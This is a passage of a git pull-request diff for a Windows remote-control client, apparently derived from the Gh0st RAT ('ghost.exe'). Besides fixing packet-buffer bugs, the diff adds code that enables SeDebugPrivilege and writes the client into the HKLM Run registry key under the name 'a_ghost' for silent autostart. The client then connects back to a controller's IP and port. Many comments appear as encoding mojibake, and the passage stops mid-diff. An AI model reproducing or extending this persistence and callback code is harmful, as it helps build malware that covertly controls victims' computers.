Merge pull request #22 from yuanyuanxiang/bugFix
fix big package bug and add new features
This commit is contained in:
@@ -236,3 +236,9 @@ fix: showing the wrong host quantity in status bar
|
|||||||
solve some issues according to code analysis result
|
solve some issues according to code analysis result
|
||||||
reorg: Move commands to common/commands.h
|
reorg: Move commands to common/commands.h
|
||||||
此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。
|
此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。
|
||||||
|
|
||||||
|
2024.12.28
|
||||||
|
1.修改了注册指令内容,新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段,以便未来之需。
|
||||||
|
2.解决客户端接收大数据包的问题! 主控程序增加显示被控端版本信息,以便实现针对老版本在线更新(仅限基于TestRun的服务)的能力。
|
||||||
|
在主控程序上面增加了显示被控端启动时间的功能,以便掌握被控端程序的稳定性。
|
||||||
|
3.完善生成服务程序的功能。
|
||||||
|
|||||||
@@ -30,103 +30,101 @@ CBuffer::~CBuffer(void)
|
|||||||
|
|
||||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength > GetBufferMaxLength())
|
if (ulLength > m_ulMaxLength)
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
if (ulLength > GetBufferLength())
|
ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
|
if (ulLength > len)
|
||||||
{
|
{
|
||||||
ulLength = GetBufferLength();
|
ulLength = len;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ulLength)
|
if (ulLength)
|
||||||
{
|
{
|
||||||
CopyMemory(Buffer,m_Base,ulLength);
|
CopyMemory(Buffer,m_Base,ulLength);
|
||||||
|
|
||||||
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
|
MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength);
|
||||||
m_Ptr -= ulLength;
|
m_Ptr -= ulLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
DeAllocateBuffer(GetBufferLength());
|
DeAllocateBuffer((ULONG)m_Ptr - (ULONG)m_Base);
|
||||||
|
|
||||||
return ulLength;
|
return ulLength;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>С
|
||||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength < GetBufferLength())
|
int len = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
return 0;
|
if (ulLength < len)
|
||||||
|
return;
|
||||||
|
|
||||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
|
|
||||||
if (GetBufferMaxLength() <= ulNewMaxLength)
|
if (m_ulMaxLength <= ulNewMaxLength)
|
||||||
{
|
{
|
||||||
return 0;
|
return;
|
||||||
}
|
}
|
||||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
if (NewBase == NULL)
|
if (NewBase == NULL)
|
||||||
return 0;
|
return;
|
||||||
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
|
||||||
CopyMemory(NewBase,m_Base,ulv1);
|
CopyMemory(NewBase,m_Base,len);
|
||||||
|
|
||||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
|
|
||||||
m_Base = NewBase;
|
m_Base = NewBase;
|
||||||
|
|
||||||
m_Ptr = m_Base + ulv1;
|
m_Ptr = m_Base + len;
|
||||||
|
|
||||||
m_ulMaxLength = ulNewMaxLength;
|
m_ulMaxLength = ulNewMaxLength;
|
||||||
|
|
||||||
return m_ulMaxLength;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
|
if (ReAllocateBuffer(ulLength + ((ULONG)m_Ptr - (ULONG)m_Base)) == FALSE)
|
||||||
{
|
{
|
||||||
return false;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
|
CopyMemory(m_Ptr, Buffer, ulLength);
|
||||||
|
|
||||||
m_Ptr+=ulLength;
|
m_Ptr+=ulLength;
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>泤<EFBFBD>Ȳ<EFBFBD><C8B2><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
|
||||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||||
{
|
{
|
||||||
if (ulLength < GetBufferMaxLength())
|
if (ulLength < m_ulMaxLength)
|
||||||
return 0;
|
return TRUE;
|
||||||
|
|
||||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||||
if (NewBase == NULL)
|
if (NewBase == NULL)
|
||||||
{
|
{
|
||||||
return -1;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
ULONG len = (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
CopyMemory(NewBase,m_Base,ulv1);
|
CopyMemory(NewBase, m_Base, len);
|
||||||
|
|
||||||
if (m_Base)
|
if (m_Base)
|
||||||
{
|
{
|
||||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||||
}
|
}
|
||||||
m_Base = NewBase;
|
m_Base = NewBase;
|
||||||
m_Ptr = m_Base + ulv1; //1024
|
m_Ptr = m_Base + len;
|
||||||
|
m_ulMaxLength = ulNewMaxLength;
|
||||||
|
|
||||||
m_ulMaxLength = ulNewMaxLength; //2048
|
return TRUE;
|
||||||
|
|
||||||
return m_ulMaxLength;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
VOID CBuffer::ClearBuffer()
|
VOID CBuffer::ClearBuffer()
|
||||||
{
|
{
|
||||||
m_Ptr = m_Base;
|
m_Ptr = m_Base;
|
||||||
@@ -136,27 +134,15 @@ VOID CBuffer::ClearBuffer()
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
ULONG CBuffer::GetBufferLength() const //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
ULONG CBuffer::GetBufferLength() const
|
||||||
{
|
{
|
||||||
if (m_Base == NULL)
|
|
||||||
return 0;
|
|
||||||
|
|
||||||
return (ULONG)m_Ptr - (ULONG)m_Base;
|
return (ULONG)m_Ptr - (ULONG)m_Base;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
ULONG CBuffer::GetBufferMaxLength() const
|
|
||||||
{
|
|
||||||
return m_ulMaxLength;
|
|
||||||
}
|
|
||||||
|
|
||||||
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
|
||||||
{
|
{
|
||||||
if (m_Base==NULL)
|
if (m_Base==NULL || ulPos>=((ULONG)m_Ptr - (ULONG)m_Base))
|
||||||
{
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
if (ulPos>=GetBufferLength())
|
|
||||||
{
|
{
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,12 +8,11 @@ public:
|
|||||||
CBuffer(void);
|
CBuffer(void);
|
||||||
~CBuffer(void);
|
~CBuffer(void);
|
||||||
|
|
||||||
ULONG GetBufferMaxLength() const;
|
|
||||||
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
ULONG GetBufferLength() const; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||||
ULONG DeAllocateBuffer(ULONG ulLength);
|
VOID DeAllocateBuffer(ULONG ulLength);
|
||||||
VOID ClearBuffer();
|
VOID ClearBuffer();
|
||||||
ULONG ReAllocateBuffer(ULONG ulLength);
|
BOOL ReAllocateBuffer(ULONG ulLength);
|
||||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
PBYTE GetBuffer(ULONG ulPos=0) const;
|
PBYTE GetBuffer(ULONG ulPos=0) const;
|
||||||
|
|
||||||
|
|||||||
@@ -9,11 +9,13 @@
|
|||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
// Զ<>̵<EFBFBD>ַ
|
// <EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||||
char g_szServerIP[MAX_PATH] = {0};
|
#define REG_NAME "a_ghost"
|
||||||
unsigned short g_uPort = 0;
|
|
||||||
|
|
||||||
// Ӧ<EFBFBD>ó<EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD><CBB3><EFBFBD>
|
// Զ<EFBFBD>̵<EFBFBD>ַ
|
||||||
|
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0};
|
||||||
|
|
||||||
|
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
BOOL g_bExit = 0;
|
BOOL g_bExit = 0;
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||||
BOOL g_bThreadExit = 0;
|
BOOL g_bThreadExit = 0;
|
||||||
@@ -25,6 +27,60 @@ DWORD WINAPI StartClient(LPVOID lParam);
|
|||||||
|
|
||||||
enum { E_RUN, E_STOP } status;
|
enum { E_RUN, E_STOP } status;
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||||
|
void DebugPrivilege()
|
||||||
|
{
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
|
||||||
|
|
||||||
|
if (hRet)
|
||||||
|
{
|
||||||
|
TOKEN_PRIVILEGES tp;
|
||||||
|
tp.PrivilegeCount = 1;
|
||||||
|
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||||
|
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
|
||||||
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||||
|
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
|
||||||
|
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||||
|
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
BOOL SetSelfStart(const char* sPath, const char* sNmae)
|
||||||
|
{
|
||||||
|
DebugPrivilege();
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||||
|
|
||||||
|
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
HKEY hKey = NULL;
|
||||||
|
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||||
|
|
||||||
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||||
|
if (lRet != ERROR_SUCCESS)
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||||
|
|
||||||
|
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||||
|
return lRet == ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
||||||
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||||
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
||||||
@@ -44,12 +100,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
|
|
||||||
int main(int argc, const char *argv[])
|
int main(int argc, const char *argv[])
|
||||||
{
|
{
|
||||||
status = E_RUN;
|
if (!SetSelfStart(argv[0], REG_NAME))
|
||||||
if (argc < 3)
|
|
||||||
{
|
{
|
||||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
std::cout << "<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||||
return -1;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
status = E_RUN;
|
||||||
|
|
||||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||||||
if (ERROR_ALREADY_EXISTS == GetLastError())
|
if (ERROR_ALREADY_EXISTS == GetLastError())
|
||||||
{
|
{
|
||||||
@@ -58,12 +115,16 @@ int main(int argc, const char *argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
SetConsoleCtrlHandler(&callback, TRUE);
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
const char *szServerIP = argv[1];
|
if (argc>=3)
|
||||||
int uPort = atoi(argv[2]);
|
{
|
||||||
printf("[server] %s:%d\n", szServerIP, uPort);
|
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
|
||||||
|
}
|
||||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
|
||||||
g_uPort = uPort;
|
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||||
|
Sleep(3000);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||||
|
|
||||||
do{
|
do{
|
||||||
g_bExit = 0;
|
g_bExit = 0;
|
||||||
@@ -103,9 +164,8 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
||||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||||
{
|
{
|
||||||
g_bExit = false;
|
g_bExit = FALSE;
|
||||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
g_SETTINGS.SetServer(szServerIP, uPort);
|
||||||
g_uPort = uPort;
|
|
||||||
|
|
||||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||||
if (hThread == NULL) {
|
if (hThread == NULL) {
|
||||||
@@ -126,7 +186,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
|||||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||||
extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; }
|
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -138,7 +198,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
while (!g_bExit)
|
while (!g_bExit)
|
||||||
{
|
{
|
||||||
DWORD dwTickCount = GetTickCount64();
|
DWORD dwTickCount = GetTickCount64();
|
||||||
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
|
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||||
{
|
{
|
||||||
for (int k = 500; !g_bExit && --k; Sleep(10));
|
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||||||
continue;
|
continue;
|
||||||
|
|||||||
@@ -12,8 +12,7 @@
|
|||||||
#include "VideoManager.h"
|
#include "VideoManager.h"
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
|
|
||||||
extern char g_szServerIP[MAX_PATH];
|
extern CONNECT_ADDRESS g_SETTINGS;
|
||||||
extern unsigned short g_uPort;
|
|
||||||
|
|
||||||
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
|
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
|
||||||
SIZE_T dwStackSize,
|
SIZE_T dwStackSize,
|
||||||
@@ -53,7 +52,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||||
IOCPClient *ClientObject = pInfo->p;
|
IOCPClient *ClientObject = pInfo->p;
|
||||||
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
|
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||||
{
|
{
|
||||||
Manager m(ClientObject, n);
|
Manager m(ClientObject, n);
|
||||||
ClientObject->RunEventLoop(pInfo->run);
|
ClientObject->RunEventLoop(pInfo->run);
|
||||||
|
|||||||
@@ -101,7 +101,7 @@ inline string GetIPAddress(const char *hostName)
|
|||||||
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||||
{
|
{
|
||||||
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
@@ -219,14 +219,14 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
assert (ulLength > 0);
|
assert (ulLength > 0);
|
||||||
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
|
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
CBuffer m_CompressedBuffer;
|
|
||||||
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
||||||
{
|
{
|
||||||
char szPacketFlag[FLAG_LENGTH + 3] = {0};
|
char szPacketFlag[FLAG_LENGTH + 3] = {0};
|
||||||
CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH);
|
LPBYTE src = m_CompressedBuffer.GetBuffer();
|
||||||
|
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
||||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||||
{
|
{
|
||||||
@@ -238,8 +238,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
sizeof(ULONG));
|
sizeof(ULONG));
|
||||||
|
|
||||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||||
if (ulPackTotalLength &&
|
ULONG len = m_CompressedBuffer.GetBufferLength();
|
||||||
(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
if (ulPackTotalLength && len >= ulPackTotalLength)
|
||||||
{
|
{
|
||||||
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
||||||
|
|
||||||
@@ -270,7 +270,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
m_DeCompressedBuffer.GetBufferLength());
|
m_DeCompressedBuffer.GetBufferLength());
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
printf("[ERROR] uncompress failed \n");
|
